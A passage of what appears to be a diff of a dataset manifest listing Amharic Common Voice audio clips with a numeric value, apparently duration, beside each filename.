common_voice_am_37822749.mp3 6696
|
| 108 |
+
common_voice_am_37782764.mp3 4752
|
| 109 |
+
common_voice_am_37782302.mp3 3996
|
| 110 |
+
common_voice_am_39362347.mp3 4860
|
| 111 |
+
common_voice_am_37811880.mp3 6552
|
| 112 |
+
common_voice_am_39991881.mp3 8532
|
| 113 |
+
common_voice_am_40405952.mp3 8928
|
| 114 |
+
common_voice_am_39643423.mp3 4788
|
| 115 |
+
common_voice_am_37802627.mp3 8856
|
| 116 |
+
common_voice_am_42422285.mp3 4068
|
| 117 |
+
common_voice_am_39643285.mp3 8100
|
| 118 |
+
common_voice_am_37768261.mp3 5832
|
| 119 |
+
common_voice_am_37782644.mp3 3240
|
| 120 |
+
common_voice_am_37952749.mp3 4176
|
| 121 |
+
common_voice_am_37791298.mp3 3996
|
| 122 |
+
common_voice_am_37768412.mp3 3204
|
| 123 |
+
common_voice_am_38583118.mp3 5796
|
| 124 |
+
common_voice_am_37802736.mp3 5868
|
| 125 |
+
common_voice_am_37782308.mp3 5616
|
| 126 |
+
common_voice_am_37811862.mp3 7488
|
| 127 |
+
common_voice_am_39936896.mp3 9396
|
| 128 |
+
common_voice_am_38399437.mp3 5220
|
| 129 |
+
common_voice_am_37888662.mp3 4788
|
| 130 |
+
common_voice_am_38583321.mp3 5076
|
| 131 |
+
common_voice_am_37814533.mp3 6012
|
| 132 |
+
common_voice_am_39991888.mp3 6048
|
| 133 |
+
common_voice_am_39362515.mp3 7560
|
| 134 |
+
common_voice_am_37791908.mp3 2844
|
| 135 |
+
common_voice_am_38629817.mp3 4248
|
| 136 |
+
common_voice_am_39967391.mp3 6660
|
| 137 |
+
common_voice_am_39991871.mp3 5292
|
| 138 |
+
common_voice_am_42655615.mp3 6660
|
| 139 |
+
common_voice_am_37782898.mp3 3168
|
| 140 |
+
common_voice_am_37782816.mp3 7488
|
| 141 |
+
common_voice_am_39936917.mp3 6768
|
| 142 |
+
common_voice_am_37805230.mp3 8172
|
| 143 |
+
common_voice_am_37805232.mp3 5976
|
| 144 |
+
common_voice_am_38331901.mp3 6696
|
| 145 |
+
common_voice_am_39922755.mp3 9612
|
| 146 |
+
common_voice_am_42249652.mp3 4428
|
| 147 |
+
common_voice_am_37811836.mp3 6552
|
| 148 |
+
common_voice_am_37782189.mp3 4968
|
| 149 |
+
common_voice_am_37805263.mp3 7452
|
| 150 |
+
common_voice_am_38224454.mp3 5724
|
| 151 |
+
common_voice_am_37790353.mp3 3276
|
| 152 |
+
common_voice_am_37802191.mp3 5436
|
| 153 |
+
common_voice_am_37802346.mp3 2340
|
| 154 |
+
common_voice_am_37790596.mp3 3636
|
| 155 |
+
common_voice_am_39936910.mp3 5220
|
| 156 |
+
common_voice_am_39643304.mp3 9468
|
| 157 |
+
common_voice_am_39643281.mp3 8820
|
| 158 |
+
common_voice_am_39936884.mp3 7668
|
| 159 |
+
common_voice_am_38583117.mp3 9468
|
| 160 |
+
common_voice_am_38583283.mp3 6876
|
| 161 |
+
common_voice_am_37817056.mp3 8676
|
| 162 |
+
common_voice_am_37815093.mp3 4284
|
| 163 |
+
common_voice_am_37814587.mp3 4428
|
| 164 |
+
common_voice_am_37782319.mp3 4248
|
| 165 |
+
common_voice_am_38583171.mp3 6696
|
| 166 |
+
common_voice_am_39991864.mp3 8856
|
| 167 |
+
common_voice_am_40955942.mp3 10800
|
| 168 |
+
common_voice_am_37782585.mp3 4428
|
| 169 |
+
common_voice_am_37767959.mp3 8064
|
| 170 |
+
common_voice_am_37805247.mp3 8532
|
| 171 |
+
common_voice_am_37814566.mp3 6192
|
| 172 |
+
common_voice_am_37790337.mp3 4968
|
| 173 |
+
common_voice_am_39643282.mp3 7308
|
| 174 |
+
common_voice_am_42731148.mp3 10008
|
| 175 |
+
common_voice_am_38583157.mp3 4068
|
| 176 |
+
common_voice_am_37890184.mp3 6948
|
| 177 |
+
common_voice_am_37790616.mp3 5940
|
| 178 |
+
common_voice_am_37791291.mp3 5076
|
| 179 |
+
common_voice_am_40123709.mp3 7308
|
| 180 |
+
common_voice_am_38629776.mp3 7056
|
| 181 |
+
common_voice_am_39643477.mp3 3816
|
| 182 |
+
common_voice_am_37814520.mp3 5184
|
| 183 |
+
common_voice_am_37814412.mp3 7056
|
| 184 |
+
common_voice_am_39967346.mp3 6696
|
| 185 |
+
common_voice_am_41706518.mp3 6048
|
| 186 |
+
common_voice_am_37782574.mp3 9360
|
| 187 |
+
common_voice_am_37782391.mp3 6948
|
| 188 |
+
common_voice_am_37772452.mp3 4248
|
| 189 |
+
common_voice_am_37778060.mp3 6840
|
| 190 |
+
common_voice_am_37782707.mp3 7416
|
| 191 |
+
common_voice_am_42674810.mp3 8316
|
| 192 |
+
common_voice_am_39362351.mp3 4860
|
| 193 |
+
common_voice_am_37814429.mp3 5832
|
| 194 |
+
common_voice_am_37811861.mp3 6156
|
| 195 |
+
common_voice_am_39991898.mp3 6408
|
| 196 |
+
common_voice_am_42674808.mp3 11052
|
| 197 |
+
common_voice_am_39922742.mp3 6084
|
| 198 |
+
common_voice_am_38670136.mp3 9900
|
| 199 |
+
common_voice_am_37802290.mp3 4896
|
| 200 |
+
common_voice_am_38586601.mp3 10476
|
| 201 |
+
common_voice_am_39362518.mp3 9216
|
| 202 |
+
common_voice_am_39362751.mp3 7488
|
| 203 |
+
common_voice_am_39936903.mp3 7848
|
| 204 |
+
common_voice_am_40882230.mp3 6660
|
| 205 |
+
common_voice_am_37782789.mp3 5040
|
| 206 |
+
common_voice_am_37790470.mp3 7560
|
| 207 |
+
common_voice_am_37952735.mp3 4428
|
| 208 |
+
common_voice_am_39936944.mp3 6840
|
| 209 |
+
common_voice_am_37768137.mp3 4572
|
| 210 |
+
common_voice_am_37790622.mp3 7200
|
| 211 |
+
common_voice_am_37842350.mp3 4680
|
| 212 |
+
common_voice_am_39936938.mp3 5148
|
| 213 |
+
common_voice_am_38583322.mp3 7596
|
| 214 |
+
common_voice_am_37815121.mp3 7380
|
| 215 |
+
common_voice_am_40405943.mp3 5976
|
| 216 |
+
common_voice_am_37782405.mp3 3852
|
| 217 |
+
common_voice_am_37814354.mp3 9072
|
| 218 |
+
common_voice_am_37814369.mp3 4392
|
| 219 |
+
common_voice_am_38224452.mp3 4752
|
| 220 |
+
common_voice_am_37812450.mp3 4644
|
| 221 |
+
common_voice_am_39967278.mp3 6228
|
| 222 |
+
common_voice_am_39991832.mp3 5760
|
| 223 |
+
common_voice_am_37814534.mp3 4716
|
| 224 |
+
common_voice_am_37952747.mp3 2448
|
| 225 |
+
common_voice_am_37805178.mp3 6516
|
| 226 |
+
common_voice_am_37768181.mp3 4140
|
| 227 |
+
common_voice_am_37802164.mp3 9216
|
| 228 |
+
common_voice_am_39936897.mp3 6948
|
| 229 |
+
common_voice_am_39966173.mp3 6516
|
| 230 |
+
common_voice_am_39906866.mp3 4824
|
| 231 |
+
common_voice_am_37805179.mp3 3024
|
| 232 |
+
common_voice_am_37782324.mp3 6516
|
| 233 |
+
common_voice_am_37805260.mp3 7092
|
| 234 |
+
common_voice_am_37791905.mp3 7668
|
| 235 |
+
common_voice_am_37811886.mp3 6516
|
| 236 |
+
common_voice_am_39643327.mp3 4968
|
| 237 |
+
common_voice_am_37774907.mp3 8460
|
| 238 |
+
common_voice_am_37805145.mp3 4104
|
| 239 |
+
common_voice_am_38583155.mp3 8496
|
| 240 |
+
common_voice_am_39991838.mp3 6588
|
| 241 |
+
common_voice_am_37802220.mp3 3060
|
| 242 |
+
common_voice_am_37782427.mp3 6228
|
| 243 |
+
common_voice_am_39967345.mp3 3924
|
| 244 |
+
common_voice_am_39643176.mp3 6228
|
| 245 |
+
common_voice_am_37792183.mp3 8748
|
| 246 |
+
common_voice_am_37768140.mp3 3420
|
| 247 |
+
common_voice_am_37790615.mp3 4428
|
| 248 |
+
common_voice_am_37774911.mp3 6300
|
| 249 |
+
common_voice_am_39967280.mp3 2664
|
| 250 |
+
common_voice_am_37774963.mp3 3744
|
| 251 |
+
common_voice_am_38630645.mp3 7236
|
| 252 |
+
common_voice_am_37790348.mp3 5508
|
| 253 |
+
common_voice_am_37768177.mp3 7092
|
| 254 |
+
common_voice_am_39936898.mp3 6048
|
| 255 |
+
common_voice_am_37790339.mp3 5940
|
| 256 |
+
common_voice_am_37805185.mp3 4284
|
| 257 |
+
common_voice_am_37782321.mp3 3636
|
| 258 |
+
common_voice_am_37791278.mp3 2988
|
| 259 |
+
common_voice_am_37767913.mp3 5148
|
| 260 |
+
common_voice_am_37790431.mp3 5148
|
| 261 |
+
common_voice_am_37791923.mp3 7992
|
| 262 |
+
common_voice_am_39643324.mp3 3780
|
| 263 |
+
common_voice_am_38586635.mp3 2520
|
| 264 |
+
common_voice_am_38586603.mp3 8460
|
| 265 |
+
common_voice_am_39362769.mp3 3420
|
| 266 |
+
common_voice_am_38629789.mp3 6588
|
| 267 |
+
common_voice_am_37790595.mp3 5940
|
| 268 |
+
common_voice_am_37790430.mp3 7236
|
| 269 |
+
common_voice_am_37779485.mp3 4212
|
| 270 |
+
common_voice_am_39936890.mp3 8676
|
| 271 |
+
common_voice_am_37805238.mp3 8748
|
| 272 |
+
common_voice_am_37817082.mp3 8928
|
| 273 |
+
common_voice_am_39362418.mp3 8748
|
| 274 |
+
common_voice_am_37782933.mp3 2808
|
| 275 |
+
common_voice_am_43325042.mp3 5256
|
| 276 |
+
common_voice_am_39936925.mp3 5076
|
| 277 |
+
common_voice_am_37817080.mp3 6516
|
| 278 |
+
common_voice_am_37802310.mp3 3528
|
| 279 |
+
common_voice_am_37782874.mp3 7524
|
| 280 |
+
common_voice_am_38629720.mp3 3960
|
| 281 |
+
common_voice_am_37841949.mp3 7380
|
| 282 |
+
common_voice_am_37802268.mp3 3888
|
| 283 |
+
common_voice_am_37782705.mp3 7416
|
| 284 |
+
common_voice_am_39643199.mp3 6336
|
| 285 |
+
common_voice_am_37772451.mp3 6480
|
| 286 |
+
common_voice_am_37779520.mp3 8244
|
| 287 |
+
common_voice_am_37814538.mp3 7344
|
| 288 |
+
common_voice_am_37805147.mp3 7020
|
| 289 |
+
common_voice_am_37790469.mp3 4860
|
| 290 |
+
common_voice_am_37791657.mp3 5760
|
| 291 |
+
common_voice_am_37805235.mp3 6156
|
| 292 |
+
common_voice_am_37805224.mp3 7056
|
| 293 |
+
common_voice_am_39991899.mp3 8244
|
| 294 |
+
common_voice_am_37814512.mp3 4932
|
| 295 |
+
common_voice_am_43184273.mp3 10440
|
| 296 |
+
common_voice_am_37782186.mp3 6768
|
| 297 |
+
common_voice_am_43184275.mp3 14256
|
| 298 |
+
common_voice_am_37791659.mp3 8568
|
| 299 |
+
common_voice_am_40955940.mp3 3420
|
| 300 |
+
common_voice_am_39936878.mp3 7668
|
| 301 |
+
common_voice_am_37814539.mp3 4788
|
| 302 |
+
common_voice_am_37814620.mp3 7164
|
| 303 |
+
common_voice_am_37805200.mp3 5868
|
| 304 |
+
common_voice_am_41706521.mp3 6624
|
| 305 |
+
common_voice_am_37814540.mp3 5832
|
| 306 |
+
common_voice_am_38629722.mp3 7848
|
| 307 |
+
common_voice_am_37815132.mp3 4500
|
| 308 |
+
common_voice_am_37768117.mp3 4824
|
| 309 |
+
common_voice_am_39991846.mp3 7704
|
| 310 |
+
common_voice_am_37768180.mp3 4320
|
| 311 |
+
common_voice_am_37815100.mp3 3528
|
| 312 |
+
common_voice_am_37767960.mp3 6912
|
| 313 |
+
common_voice_am_39643480.mp3 5508
|
| 314 |
+
common_voice_am_37809554.mp3 7812
|
| 315 |
+
common_voice_am_38586605.mp3 9468
|
| 316 |
+
common_voice_am_42249653.mp3 7596
|
| 317 |
+
common_voice_am_37768120.mp3 7740
|
| 318 |
+
common_voice_am_37802679.mp3 5796
|
| 319 |
+
common_voice_am_43325040.mp3 11088
|
| 320 |
+
common_voice_am_39643537.mp3 3888
|
| 321 |
+
common_voice_am_37805239.mp3 3420
|
| 322 |
+
common_voice_am_37805209.mp3 4428
|
| 323 |
+
common_voice_am_37782403.mp3 8568
|
| 324 |
+
common_voice_am_39922753.mp3 6624
|
| 325 |
+
common_voice_am_37802698.mp3 5400
|
| 326 |
+
common_voice_am_37805271.mp3 5148
|
| 327 |
+
common_voice_am_38630596.mp3 4500
|
| 328 |
+
common_voice_am_39643174.mp3 7380
|
| 329 |
+
common_voice_am_37952750.mp3 6696
|
| 330 |
+
common_voice_am_37805208.mp3 6156
|
| 331 |
+
common_voice_am_37814394.mp3 8784
|
| 332 |
+
common_voice_am_38630632.mp3 7560
|
| 333 |
+
common_voice_am_37815102.mp3 7380
|
| 334 |
+
common_voice_am_37782417.mp3 7596
|
| 335 |
+
common_voice_am_37811848.mp3 6480
|
| 336 |
+
common_voice_am_37890162.mp3 3996
|
| 337 |
+
common_voice_am_37768192.mp3 4176
|
| 338 |
+
common_voice_am_37790349.mp3 2736
|
| 339 |
+
common_voice_am_39936915.mp3 6480
|
| 340 |
+
common_voice_am_38670133.mp3 5508
|
| 341 |
+
common_voice_am_37805220.mp3 6408
|
| 342 |
+
common_voice_am_39991897.mp3 7488
|
| 343 |
+
common_voice_am_37802903.mp3 4896
|
| 344 |
+
common_voice_am_39362746.mp3 4500
|
| 345 |
+
common_voice_am_39643232.mp3 7668
|
| 346 |
+
common_voice_am_37791292.mp3 7056
|
| 347 |
+
common_voice_am_40123711.mp3 4536
|
| 348 |
+
common_voice_am_37811865.mp3 8388
|
| 349 |
+
common_voice_am_37768264.mp3 6660
|
| 350 |
+
common_voice_am_37807185.mp3 6696
|
| 351 |
+
common_voice_am_37938204.mp3 3996
|
| 352 |
+
common_voice_am_37888995.mp3 2340
|
| 353 |
+
common_voice_am_37888653.mp3 6696
|
| 354 |
+
common_voice_am_38224457.mp3 6912
|
| 355 |
+
common_voice_am_37782786.mp3 6084
|
| 356 |
+
common_voice_am_38630615.mp3 5076
|
| 357 |
+
common_voice_am_37782928.mp3 4356
|
| 358 |
+
common_voice_am_39967421.mp3 5436
|
| 359 |
+
common_voice_am_37814323.mp3 5868
|
| 360 |
+
common_voice_am_37768253.mp3 5364
|
| 361 |
+
common_voice_am_37805273.mp3 5472
|
| 362 |
+
common_voice_am_37817054.mp3 8316
|
| 363 |
+
common_voice_am_37809607.mp3 5184
|
| 364 |
+
common_voice_am_37790561.mp3 4608
|
| 365 |
+
common_voice_am_39362446.mp3 5436
|
| 366 |
+
common_voice_am_37802348.mp3 5328
|
| 367 |
+
common_voice_am_38670135.mp3 10296
|
| 368 |
+
common_voice_am_37802758.mp3 4716
|
| 369 |
+
common_voice_am_37805270.mp3 7668
|
| 370 |
+
common_voice_am_39922757.mp3 5328
|
| 371 |
+
common_voice_am_37897076.mp3 6948
|
| 372 |
+
common_voice_am_37782448.mp3 6480
|
| 373 |
+
common_voice_am_37802918.mp3 3636
|
| 374 |
+
common_voice_am_37809559.mp3 4248
|
| 375 |
+
common_voice_am_37774923.mp3 9144
|
| 376 |
+
common_voice_am_37782620.mp3 6516
|
| 377 |
+
common_voice_am_37802696.mp3 9288
|
| 378 |
+
common_voice_am_37791294.mp3 6840
|
| 379 |
+
common_voice_am_37814619.mp3 5256
|
| 380 |
+
common_voice_am_39631514.mp3 6876
|
| 381 |
+
common_voice_am_37767954.mp3 5220
|
| 382 |
+
common_voice_am_43293325.mp3 5400
|
| 383 |
+
common_voice_am_37814551.mp3 6012
|
| 384 |
+
common_voice_am_37782819.mp3 7020
|
| 385 |
+
common_voice_am_39643368.mp3 5508
|
| 386 |
+
common_voice_am_41527477.mp3 10116
|
| 387 |
+
common_voice_am_37782799.mp3 4824
|
| 388 |
+
common_voice_am_37842342.mp3 3456
|
| 389 |
+
common_voice_am_37805319.mp3 8064
|
| 390 |
+
common_voice_am_37791935.mp3 5184
|
| 391 |
+
common_voice_am_37782932.mp3 7092
|
| 392 |
+
common_voice_am_39362427.mp3 5040
|
| 393 |
+
common_voice_am_37782576.mp3 7128
|
| 394 |
+
common_voice_am_37815120.mp3 4356
|
| 395 |
+
common_voice_am_37782453.mp3 7200
|
| 396 |
+
common_voice_am_39643328.mp3 4500
|
| 397 |
+
common_voice_am_39991834.mp3 9756
|
| 398 |
+
common_voice_am_41706519.mp3 3384
|
| 399 |
+
common_voice_am_37774919.mp3 7092
|
| 400 |
+
common_voice_am_39362431.mp3 9900
|
| 401 |
+
common_voice_am_37805189.mp3 6804
|
| 402 |
+
common_voice_am_37818781.mp3 8532
|
| 403 |
+
common_voice_am_37768263.mp3 3060
|
| 404 |
+
common_voice_am_40405945.mp3 11340
|
| 405 |
+
common_voice_am_37814499.mp3 3924
|
| 406 |
+
common_voice_am_37890186.mp3 7236
|
| 407 |
+
common_voice_am_37782825.mp3 3708
|
| 408 |
+
common_voice_am_39643426.mp3 6948
|
| 409 |
+
common_voice_am_37768194.mp3 6732
|
| 410 |
+
common_voice_am_39991862.mp3 4824
|
| 411 |
+
common_voice_am_38630639.mp3 6840
|
| 412 |
+
common_voice_am_37888992.mp3 7560
|
| 413 |
+
common_voice_am_37768045.mp3 5544
|
| 414 |
+
common_voice_am_37790593.mp3 7056
|
| 415 |
+
common_voice_am_39991857.mp3 10332
|
| 416 |
+
common_voice_am_37802848.mp3 6516
|
| 417 |
+
common_voice_am_37814606.mp3 6444
|
| 418 |
+
common_voice_am_37802881.mp3 6336
|
| 419 |
+
common_voice_am_37888664.mp3 6480
|
| 420 |
+
common_voice_am_37791296.mp3 5580
|
| 421 |
+
common_voice_am_37890166.mp3 6516
|
| 422 |
+
common_voice_am_39643325.mp3 9180
|
| 423 |
+
common_voice_am_39643457.mp3 5400
|
| 424 |
+
common_voice_am_37782450.mp3 6876
|
| 425 |
+
common_voice_am_37817060.mp3 6732
|
| 426 |
+
common_voice_am_37815090.mp3 8892
|
| 427 |
+
common_voice_am_37802292.mp3 5580
|
| 428 |
+
common_voice_am_37802159.mp3 9180
|
| 429 |
+
common_voice_am_39922740.mp3 9432
|
| 430 |
+
common_voice_am_37782575.mp3 4356
|
| 431 |
+
common_voice_am_37814322.mp3 4932
|
| 432 |
+
common_voice_am_40882231.mp3 11232
|
| 433 |
+
common_voice_am_37790570.mp3 6408
|
| 434 |
+
common_voice_am_37802904.mp3 4140
|
| 435 |
+
common_voice_am_38670137.mp3 9576
|
| 436 |
+
common_voice_am_39643372.mp3 5616
|
| 437 |
+
common_voice_am_37805300.mp3 8676
|
| 438 |
+
common_voice_am_38630673.mp3 7020
|
| 439 |
+
common_voice_am_38399414.mp3 4140
|
| 440 |
+
common_voice_am_42674804.mp3 4572
|
| 441 |
+
common_voice_am_37782708.mp3 4284
|
| 442 |
+
common_voice_am_39643451.mp3 4608
|
| 443 |
+
common_voice_am_39936868.mp3 6156
|
| 444 |
+
common_voice_am_39362676.mp3 5328
|
| 445 |
+
common_voice_am_39991842.mp3 6732
|
| 446 |
+
common_voice_am_37802882.mp3 4608
|
| 447 |
+
common_voice_am_39643345.mp3 5436
|
| 448 |
+
common_voice_am_37782838.mp3 6552
|
| 449 |
+
common_voice_am_37815096.mp3 7092
|
| 450 |
+
common_voice_am_38399416.mp3 9576
|
| 451 |
+
common_voice_am_37779521.mp3 5580
|
| 452 |
+
common_voice_am_38331900.mp3 9936
|
| 453 |
+
common_voice_am_39362698.mp3 8136
|
| 454 |
+
common_voice_am_37791906.mp3 5796
|
| 455 |
+
common_voice_am_39991849.mp3 7884
|
| 456 |
+
common_voice_am_37805253.mp3 7812
|
| 457 |
+
common_voice_am_37952731.mp3 3456
|
| 458 |
+
common_voice_am_37782310.mp3 2700
|
| 459 |
+
common_voice_am_39936936.mp3 10080
|
| 460 |
+
common_voice_am_40405954.mp3 6660
|
| 461 |
+
common_voice_am_37814432.mp3 4644
|
| 462 |
+
common_voice_am_42492795.mp3 8748
|
| 463 |
+
common_voice_am_37805264.mp3 8028
|
| 464 |
+
common_voice_am_37802157.mp3 4896
|
| 465 |
+
common_voice_am_39362700.mp3 7956
|
| 466 |
+
common_voice_am_39936899.mp3 6480
|
| 467 |
+
common_voice_am_39936921.mp3 7416
|
| 468 |
+
common_voice_am_37815122.mp3 5976
|
| 469 |
+
common_voice_am_37768084.mp3 4464
|
| 470 |
+
common_voice_am_39922751.mp3 6336
|
| 471 |
+
common_voice_am_38583320.mp3 9396
|
| 472 |
+
common_voice_am_37811840.mp3 6516
|
| 473 |
+
common_voice_am_40123708.mp3 5040
|
| 474 |
+
common_voice_am_39631548.mp3 7596
|
| 475 |
+
common_voice_am_39936908.mp3 8208
|
| 476 |
+
common_voice_am_39643344.mp3 10116
|
| 477 |
+
common_voice_am_38583281.mp3 3816
|
| 478 |
+
common_voice_am_37791917.mp3 5580
|
| 479 |
+
common_voice_am_38224456.mp3 9576
|
| 480 |
+
common_voice_am_37814425.mp3 6516
|
| 481 |
+
common_voice_am_39991845.mp3 9576
|
| 482 |
+
common_voice_am_38630668.mp3 6840
|
| 483 |
+
common_voice_am_41527478.mp3 12960
|
| 484 |
+
common_voice_am_37817061.mp3 5544
|
| 485 |
+
common_voice_am_42492792.mp3 7236
|
| 486 |
+
common_voice_am_39631545.mp3 7956
|
| 487 |
+
common_voice_am_37805202.mp3 7092
|
| 488 |
+
common_voice_am_42422286.mp3 3888
|
| 489 |
+
common_voice_am_37807175.mp3 6408
|
| 490 |
+
common_voice_am_37778057.mp3 4104
|
| 491 |
+
common_voice_am_38053084.mp3 5220
|
| 492 |
+
common_voice_am_37790456.mp3 3420
|
| 493 |
+
common_voice_am_38629775.mp3 10116
|
| 494 |
+
common_voice_am_39991890.mp3 10116
|
| 495 |
+
common_voice_am_39362429.mp3 5508
|
| 496 |
+
common_voice_am_43227473.mp3 6516
|
| 497 |
+
common_voice_am_37782630.mp3 8172
|
| 498 |
+
common_voice_am_37767929.mp3 5076
|
| 499 |
+
common_voice_am_39643374.mp3 6516
|
| 500 |
+
common_voice_am_37802714.mp3 7776
|
| 501 |
+
common_voice_am_39362481.mp3 6660
|
| 502 |
+
common_voice_am_37805242.mp3 7056
|
| 503 |
+
common_voice_am_37768262.mp3 4536
|
| 504 |
+
common_voice_am_37802625.mp3 6840
|
| 505 |
+
common_voice_am_37802289.mp3 5940
|
| 506 |
+
common_voice_am_39991859.mp3 4752
|
| 507 |
+
common_voice_am_37774925.mp3 7056
|
| 508 |
+
common_voice_am_42249650.mp3 8928
|
| 509 |
+
common_voice_am_37814398.mp3 7200
|
| 510 |
+
common_voice_am_37822746.mp3 7092
|
| 511 |
+
common_voice_am_39967344.mp3 6156
|
| 512 |
+
common_voice_am_39922758.mp3 9756
|
| 513 |
+
common_voice_am_39969028.mp3 7416
|
| 514 |
+
common_voice_am_37782320.mp3 8856
|
| 515 |
+
common_voice_am_37811847.mp3 5976
|
| 516 |
+
common_voice_am_37768202.mp3 6372
|
| 517 |
+
common_voice_am_37761293.mp3 6984
|
| 518 |
+
common_voice_am_41527480.mp3 8028
|
| 519 |
+
common_voice_am_37791930.mp3 6228
|
| 520 |
+
common_voice_am_37888654.mp3 6948
|
| 521 |
+
common_voice_am_37791934.mp3 5904
|
| 522 |
+
common_voice_am_41706517.mp3 8244
|
| 523 |
+
common_voice_am_37791918.mp3 7920
|
| 524 |
+
common_voice_am_37791288.mp3 5796
|
| 525 |
+
common_voice_am_37809553.mp3 5220
|
| 526 |
+
common_voice_am_37809561.mp3 6876
|
| 527 |
+
common_voice_am_37767992.mp3 6984
|
| 528 |
+
common_voice_am_39991853.mp3 7596
|
| 529 |
+
common_voice_am_37888678.mp3 8568
|
| 530 |
+
common_voice_am_37814511.mp3 6696
|
| 531 |
+
common_voice_am_37814541.mp3 3240
|
| 532 |
+
common_voice_am_37817073.mp3 5724
|
| 533 |
+
common_voice_am_37814604.mp3 7920
|
| 534 |
+
common_voice_am_37805284.mp3 3384
|
| 535 |
+
common_voice_am_38399421.mp3 4140
|
| 536 |
+
common_voice_am_37772409.mp3 3492
|
| 537 |
+
common_voice_am_37841950.mp3 8640
|
| 538 |
+
common_voice_am_42492765.mp3 6228
|
| 539 |
+
common_voice_am_39936945.mp3 7236
|
| 540 |
+
common_voice_am_39991874.mp3 10188
|
| 541 |
+
common_voice_am_37778059.mp3 5508
|
| 542 |
+
common_voice_am_37782828.mp3 7164
|
| 543 |
+
common_voice_am_37782891.mp3 7164
|
| 544 |
+
common_voice_am_37938200.mp3 8568
|
| 545 |
+
common_voice_am_37817879.mp3 4392
|
| 546 |
+
common_voice_am_37952755.mp3 4896
|
| 547 |
+
common_voice_am_37938199.mp3 8820
|
| 548 |
+
common_voice_am_37782312.mp3 5688
|
| 549 |
+
common_voice_am_38629778.mp3 5688
|
| 550 |
+
common_voice_am_39967422.mp3 7020
|
| 551 |
+
common_voice_am_37790350.mp3 5328
|
| 552 |
+
common_voice_am_42674805.mp3 10188
|
| 553 |
+
common_voice_am_40882232.mp3 8064
|
| 554 |
+
common_voice_am_37890181.mp3 5796
|
| 555 |
+
common_voice_am_37768179.mp3 6192
|
| 556 |
+
common_voice_am_37841951.mp3 6120
|
| 557 |
+
common_voice_am_37817071.mp3 2880
|
| 558 |
+
common_voice_am_37890180.mp3 4068
|
| 559 |
+
common_voice_am_37811887.mp3 5472
|
| 560 |
+
common_voice_am_37774952.mp3 7092
|
| 561 |
+
common_voice_am_38630568.mp3 4860
|
| 562 |
+
common_voice_am_38583137.mp3 6156
|
| 563 |
+
common_voice_am_37782770.mp3 6624
|
| 564 |
+
common_voice_am_39362644.mp3 5256
|
| 565 |
+
common_voice_am_37802902.mp3 2556
|
| 566 |
+
common_voice_am_37802760.mp3 3456
|
| 567 |
+
common_voice_am_37790351.mp3 4500
|
| 568 |
+
common_voice_am_37768118.mp3 2772
|
| 569 |
+
common_voice_am_39967376.mp3 5580
|
| 570 |
+
common_voice_am_38583158.mp3 6516
|
| 571 |
+
common_voice_am_37815103.mp3 8496
|
| 572 |
+
common_voice_am_37761292.mp3 7704
|
| 573 |
+
common_voice_am_39967420.mp3 8136
|
| 574 |
+
common_voice_am_39638985.mp3 4680
|
| 575 |
+
common_voice_am_39936929.mp3 8820
|
| 576 |
+
common_voice_am_37842332.mp3 8280
|
| 577 |
+
common_voice_am_38630628.mp3 7740
|
| 578 |
+
common_voice_am_37805177.mp3 6516
|
| 579 |
+
common_voice_am_37790602.mp3 6876
|
| 580 |
+
common_voice_am_39922750.mp3 9864
|
| 581 |
+
common_voice_am_43227242.mp3 12060
|
| 582 |
+
common_voice_am_39922762.mp3 9468
|
| 583 |
+
common_voice_am_37802884.mp3 8100
|
| 584 |
+
common_voice_am_37768082.mp3 2952
|
| 585 |
+
common_voice_am_37814585.mp3 3852
|
| 586 |
+
common_voice_am_37802757.mp3 5868
|
| 587 |
+
common_voice_am_37782817.mp3 8244
|
| 588 |
+
common_voice_am_37802817.mp3 3060
|
| 589 |
+
common_voice_am_39991865.mp3 5832
|
| 590 |
+
common_voice_am_39956495.mp3 5040
|
| 591 |
+
common_voice_am_37805272.mp3 5508
|
| 592 |
+
common_voice_am_37814430.mp3 8424
|
| 593 |
+
common_voice_am_39638984.mp3 5616
|
| 594 |
+
common_voice_am_39922756.mp3 10044
|
| 595 |
+
common_voice_am_37817059.mp3 7272
|
| 596 |
+
common_voice_am_38630588.mp3 5868
|
| 597 |
+
common_voice_am_37842335.mp3 6480
|
| 598 |
+
common_voice_am_37811837.mp3 6804
|
| 599 |
+
common_voice_am_38399420.mp3 7236
|
| 600 |
+
common_voice_am_37791303.mp3 3888
|
| 601 |
+
common_voice_am_39362447.mp3 7740
|
| 602 |
+
common_voice_am_37802649.mp3 6660
|
| 603 |
+
common_voice_am_37790591.mp3 2808
|
| 604 |
+
common_voice_am_43184272.mp3 7596
|
| 605 |
+
common_voice_am_37812452.mp3 7200
|
| 606 |
+
common_voice_am_37811879.mp3 3276
|
| 607 |
+
common_voice_am_39643456.mp3 6120
|
| 608 |
+
common_voice_am_37790434.mp3 5868
|
| 609 |
+
common_voice_am_42492772.mp3 10008
|
| 610 |
+
common_voice_am_37790340.mp3 5328
|
| 611 |
+
common_voice_am_37802816.mp3 3420
|
| 612 |
+
common_voice_am_37782855.mp3 6048
|
| 613 |
+
common_voice_am_39922760.mp3 8964
|
| 614 |
+
common_voice_am_38630647.mp3 3960
|
| 615 |
+
common_voice_am_37938203.mp3 6480
|
| 616 |
+
common_voice_am_37805282.mp3 7596
|
| 617 |
+
common_voice_am_37782641.mp3 7128
|
| 618 |
+
common_voice_am_37778061.mp3 8676
|
| 619 |
+
common_voice_am_37782836.mp3 4572
|
| 620 |
+
common_voice_am_37790352.mp3 7236
|
| 621 |
+
common_voice_am_37802797.mp3 5148
|
| 622 |
+
common_voice_am_37814492.mp3 4680
|
| 623 |
+
common_voice_am_39979863.mp3 6480
|
| 624 |
+
common_voice_am_39991873.mp3 6840
|
| 625 |
+
common_voice_am_37807178.mp3 3708
|
| 626 |
+
common_voice_am_39362517.mp3 7920
|
| 627 |
+
common_voice_am_37802798.mp3 6516
|
| 628 |
+
common_voice_am_37782846.mp3 3960
|
| 629 |
+
common_voice_am_37782187.mp3 5076
|
| 630 |
+
common_voice_am_39362640.mp3 3276
|
| 631 |
+
common_voice_am_37805245.mp3 3708
|
| 632 |
+
common_voice_am_39362772.mp3 9648
|
| 633 |
+
common_voice_am_38629746.mp3 7776
|
| 634 |
+
common_voice_am_39362417.mp3 5328
|
| 635 |
+
common_voice_am_37811838.mp3 9000
|
| 636 |
+
common_voice_am_39936937.mp3 8676
|
| 637 |
+
common_voice_am_37790572.mp3 5076
|
| 638 |
+
common_voice_am_37782785.mp3 5652
|
| 639 |
+
common_voice_am_37782587.mp3 7236
|
| 640 |
+
common_voice_am_38583174.mp3 4356
|
| 641 |
+
common_voice_am_37782621.mp3 4500
|
| 642 |
+
common_voice_am_37805313.mp3 8892
|
